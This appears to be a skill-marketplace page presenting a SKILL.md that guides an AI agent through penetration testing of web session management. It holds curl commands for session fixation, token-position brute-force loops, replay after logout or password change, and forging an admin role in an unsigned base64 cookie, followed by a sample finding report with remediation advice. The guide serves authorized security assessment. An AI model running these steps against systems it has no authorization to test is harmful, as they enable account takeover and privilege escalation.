メニュー
Identifying and exploiting weaknesses in session handling including fixation, weak token entropy, missing cookie flags, improper invalidation on logout/password change, and client-side session tampering.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/xalgord/xalgorix --skill testing-session-management-flawsコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
SKILL.md を表示中
SOC 職業分類に基づく
| name | testing-session-management-flaws |
| description | Identifying and exploiting weaknesses in session handling including fixation, weak token entropy, missing cookie flags, improper invalidation on logout/password change, and client-side session tampering. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","session-management","session-fixation","cookies","access-control","owasp","burpsuite","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Session bugs are missed when testers only confirm "login works." For every session, work through this checklist:
user=, role=, email=, isAdmin= etc., tamper with another user's value and
replay — server may trust the cookie blindly.HttpOnly,
Secure, SameSite, an over-broad Domain, and an excessive/Max-Age=∞ expiry.Referer headers sent to external hosts, or in analytics/error beacons.Enumerate all cookies and determine which one actually maintains the session.
# Capture the full Set-Cookie set right after login
curl -s -i -X POST "https://target.example.com/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=userA&password=Passw0rd!" | grep -i '^set-cookie:'
# Typical output — only ONE of these is the session:
# Set-Cookie: SESSIONID=8f2a...; Path=/; HttpOnly
# Set-Cookie: _ga=GA1.2.123; Path=/
# Set-Cookie: csrftoken=abc; Path=/
# Set-Cookie: cookieconsent=1; Path=/
# Isolate the session cookie: remove one at a time and hit a protected page.
SESSION="SESSIONID=8f2a9c...; csrftoken=abc; _ga=GA1.2.123"
# Drop _ga -> still authenticated? (expected yes)
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=8f2a9c...; csrftoken=abc" \
"https://target.example.com/account"
# Drop SESSIONID -> logged out / 302 to /login => SESSIONID is the session cookie
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: csrftoken=abc; _ga=GA1.2.123" \
"https://target.example.com/account"
Inspect HttpOnly / Secure / SameSite, the Domain scope, and lifetime.
# Pull just the session Set-Cookie line and eyeball the attributes
curl -s -i -X POST "https://target.example.com/login" \
--data "username=userA&password=Passw0rd!" \
| grep -i 'set-cookie:.*SESSIONID'
# Findings to flag:
# - Missing HttpOnly -> readable via document.cookie (XSS can steal it)
# - Missing Secure -> sent over plain HTTP, sniffable
# - SameSite=None (no Secure) or absent -> CSRF / cross-site send
# - Domain=.example.com -> shared with every subdomain (broad theft surface)
# - Expires far future / Max-Age huge / no expiry -> long-lived stolen sessions
# Confirm the cookie is actually sent over cleartext HTTP (Secure missing)
curl -s -i "http://target.example.com/account" \
-H "Cookie: SESSIONID=8f2a9c..." | head -n1
# 200 over http:// with private data = Secure flag missing / not enforced
# Confirm HttpOnly from the browser console (should be inaccessible):
# document.cookie // session value must NOT appear here
Verify the session identifier rotates on authentication.
# 1) Get a pre-auth (anonymous) session cookie by visiting the login page
curl -s -i "https://target.example.com/login" | grep -i 'set-cookie:.*SESSIONID'
# -> SESSIONID=PRE_AUTH_VALUE_1111
# 2) Authenticate USING that same cookie (simulate a planted/fixed value)
curl -s -i -X POST "https://target.example.com/login" \
-H "Cookie: SESSIONID=PRE_AUTH_VALUE_1111" \
--data "username=userA&password=Passw0rd!" \
| grep -i 'set-cookie:.*SESSIONID'
# 3) Compare:
# - New value issued after login => SAFE (rotation happens)
# - SESSIONID still = PRE_AUTH_VALUE_1111 => SESSION FIXATION
# An attacker who plants PRE_AUTH_VALUE_1111 on a victim (via link/XSS)
# gains the victim's authenticated session after they log in.
# Confirm exploitability: replay the pre-auth value AFTER victim login
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=PRE_AUTH_VALUE_1111" \
"https://target.example.com/account" # 200 with victim data = confirmed
Find which part of the token is actually validated and measure randomness.
# Original token
TOK="A1B2C3D4E5F6G7H8I9J0"
# Mutate one character/byte at a time and replay; record which positions
# break the session vs. which are ignored (ignored = not part of secret).
for i in $(seq 0 $((${#TOK}-1))); do
mutated="${TOK:0:$i}X${TOK:$((i+1))}"
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: SESSIONID=$mutated" \
"https://target.example.com/account")
echo "pos $i -> $code"
done
# If only positions 0-7 affect validity, the effective secret is 8 chars
# -> dramatically smaller keyspace, possibly brute forceable.
# Measure true randomness across many freshly issued tokens with Burp Sequencer:
# Burp > send a login response to Sequencer > "Live capture" 5000+ tokens
# > Analyze. Look for low effective entropy bits, structure, timestamps,
# or incrementing counters embedded in the token.
Confirm security-relevant events revoke existing sessions.
# Capture a known-good cookie for User A
COOKIE="SESSIONID=8f2a9c..."
# --- Logout test ---
# In a SECOND session/browser, click Logout for User A. Then replay COOKIE:
curl -s -o /dev/null -w "after-logout: %{http_code}\n" \
-H "Cookie: $COOKIE" "https://target.example.com/account"
# 200 = session NOT invalidated on logout (server only cleared client cookie)
# --- Password change test ---
# Change User A's password in another session, then replay the OLD cookie:
curl -s -o /dev/null -w "after-pw-change: %{http_code}\n" \
-H "Cookie: $COOKIE" "https://target.example.com/account"
# 200 = old sessions survive password reset (critical for compromised creds)
# --- Email change & 2FA activation tests (same pattern) ---
curl -s -o /dev/null -w "after-email-change: %{http_code}\n" \
-H "Cookie: $COOKIE" "https://target.example.com/account"
curl -s -o /dev/null -w "after-2fa-enable: %{http_code}\n" \
-H "Cookie: $COOKIE" "https://target.example.com/account"
# Any 200 after these events = stale session remains usable.
Check binding to client context and whether the cookie carries trusted data.
# --- Concurrent login ---
# Log in as User A from machine 1 and machine 2 at the same time.
# Both sessions valid + no notification = no concurrent-session control.
# --- Replay from a different IP / User-Agent ---
# Take a cookie issued from IP1 and replay it from IP2 (VPN/cloud box):
curl -s -o /dev/null -w "%{http_code}\n" \
-A "Mozilla/5.0 (different-UA)" \
-H "Cookie: SESSIONID=8f2a9c..." \
"https://target.example.com/account"
# 200 from a new IP/UA with no step-up = session not bound to context.
# --- Client-side session data tampering ---
# Decode a stateless/looking cookie:
echo "eyJ1c2VyIjoidXNlckEiLCJyb2xlIjoidXNlciJ9" | base64 -d
# -> {"user":"userA","role":"user"}
# Re-encode another user / elevated role and replay:
NEW=$(echo -n '{"user":"admin","role":"admin"}' | base64)
curl -s -H "Cookie: session=$NEW" "https://target.example.com/account" | head
# Accepted with admin context = server trusts unsigned client-side session data.
# --- Token leakage to third parties ---
# Look for the session value in URLs and Referer to external hosts:
# - grep Burp history for the token in query strings
# - load a page with an external <img>/<script> and check the outbound
# Referer header carries ?sessionid=... to a third-party domain.
| Concept | Description |
|---|---|
| Session Fixation | Identifier set before login is not rotated, letting an attacker fix a known value onto a victim |
| Token Entropy | Amount of unpredictability in a session token; low entropy enables guessing/brute force |
| HttpOnly | Cookie flag preventing JavaScript (document.cookie) access, mitigating XSS-based theft |
| Secure | Cookie flag restricting transmission to HTTPS only, preventing cleartext sniffing |
| SameSite | Cookie flag (Strict/Lax/None) controlling cross-site sending; defends against CSRF |
| Cookie Scope | Domain/Path attributes; an over-broad Domain=.example.com shares the cookie with all subdomains |
| Session Invalidation | Server-side destruction of a session on logout or credential/security changes |
| Stateless Session | Session data stored client-side (cookie/JWT); must be signed or it can be tampered |
| Concurrent Session Control | Policy limiting or alerting on simultaneous active sessions for one account |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Proxy to capture cookies, Repeater to replay, Sequencer to measure token randomness |
| Burp Sequencer | Statistical analysis of token entropy across thousands of samples |
| EditThisCookie / browser DevTools | Inspect and edit cookies, view flags, domain scope, and expiry |
| curl / httpie | Manual cookie crafting, cross-IP replay, and flag verification |
| jwt_tool | Decode and tamper with JWT-based session tokens when used as sessions |
| OWASP ZAP | Free proxy alternative with session management testing add-ons |
After a user changes their password (often because they suspect compromise), the application generates a new session but leaves all previously issued sessions active. An attacker with a stolen cookie retains access indefinitely.
The login flow reuses the anonymous SESSIONID issued on the login page instead of rotating it. An attacker plants a known SESSIONID on a victim via a crafted link; once the victim logs in, the attacker's pre-known value is now authenticated.
A session cookie is base64-encoded JSON {"user":"bob","role":"user"} with no signature. Editing role to admin and replaying grants administrative access because the server trusts the cookie contents.
The session cookie lacks HttpOnly, so a reflected XSS payload reads document.cookie and exfiltrates the session, allowing full account takeover without credentials.
## Session Management Finding
**Vulnerability**: Session Not Invalidated on Password Change
**Severity**: High (CVSS 8.1)
**Location**: POST /account/change-password and session store
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Log in as User A and capture session cookie SESSIONID=8f2a9c...
2. In a second browser, change User A's password
3. Replay the original SESSIONID against GET /account
4. Observe HTTP 200 with full account access using the pre-change cookie
### Affected Behaviors
| Event | Old Session After Event | Expected |
|-------|-------------------------|----------|
| Logout | Still valid (200) | Invalidated |
| Password change | Still valid (200) | All sessions revoked |
| Email change | Still valid (200) | All sessions revoked |
| 2FA activation | Still valid (200) | Re-authentication required |
### Cookie Hardening Gaps
| Flag/Attribute | Observed | Risk |
|----------------|----------|------|
| HttpOnly | Missing | XSS cookie theft |
| Secure | Missing | Cleartext interception |
| SameSite | Absent | CSRF / cross-site send |
| Domain | .example.com | Shared across all subdomains |
### Impact
- Stolen or leaked sessions remain valid after the victim takes remediation steps
- Account takeover persists through password reset, defeating incident response
- Token entropy reduced to effective 8 characters, enabling offline guessing
### Recommendation
1. Rotate the session identifier on every authentication and privilege change
2. Destroy all server-side sessions on logout, password change, email change, and 2FA enrollment
3. Set HttpOnly, Secure, and SameSite=Lax/Strict on the session cookie; scope Domain tightly
4. Generate session tokens from a CSPRNG with >=128 bits of entropy
5. Bind sessions to client context and enforce concurrent-session limits with alerting